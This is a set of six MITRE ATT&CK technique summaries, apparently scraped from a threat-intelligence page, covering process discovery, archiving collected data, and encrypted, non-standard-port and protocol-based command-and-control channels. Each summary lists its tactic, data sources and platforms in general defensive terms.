Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre